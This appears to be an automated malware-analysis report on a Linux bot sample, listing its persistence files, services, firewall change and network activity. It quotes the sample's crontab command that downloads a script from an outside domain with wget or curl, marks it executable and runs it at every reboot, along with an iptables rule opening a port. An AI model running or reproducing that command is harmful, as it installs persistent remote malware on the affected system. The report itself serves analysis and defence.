Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
- vb46bhd3qu16pm2i1tom
Manages services:
- ['/bin/systemctl', 'enable', 'bot']
Launches processes:
- /usr/sbin/xtables-nft-multi iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- (crontab -l ; echo \x22@reboot /bin/bash -c \x22/bin/wget http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh\x22\x22) | crontab -
- sh bins.sh
- chmod +x bins.sh
- iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- /bin/systemctl enable bot
- crontab -l
- crontab -
Performs operations with the file system:
Modifies file access rights:
- /var/spool/cron/crontabs/tmp.RN0zcG
Creates or modifies files:
- /dev/full
- /var/spool/cron/crontabs/tmp.RN0zcG
- /etc/init/bot.conf
- /root/.bashrc
- /usr/lib/systemd/system/bot.service
Changes time of creation/access/modification of files:
- /var/spool/cron/crontabs
Network activity:
Awaits incoming connections on ports:
- 127.0.0.1:8345
Establishes connection:
- 8.#.8.8:53
- 91.###.137.37:53
DNS ASK:
- re###thltd.com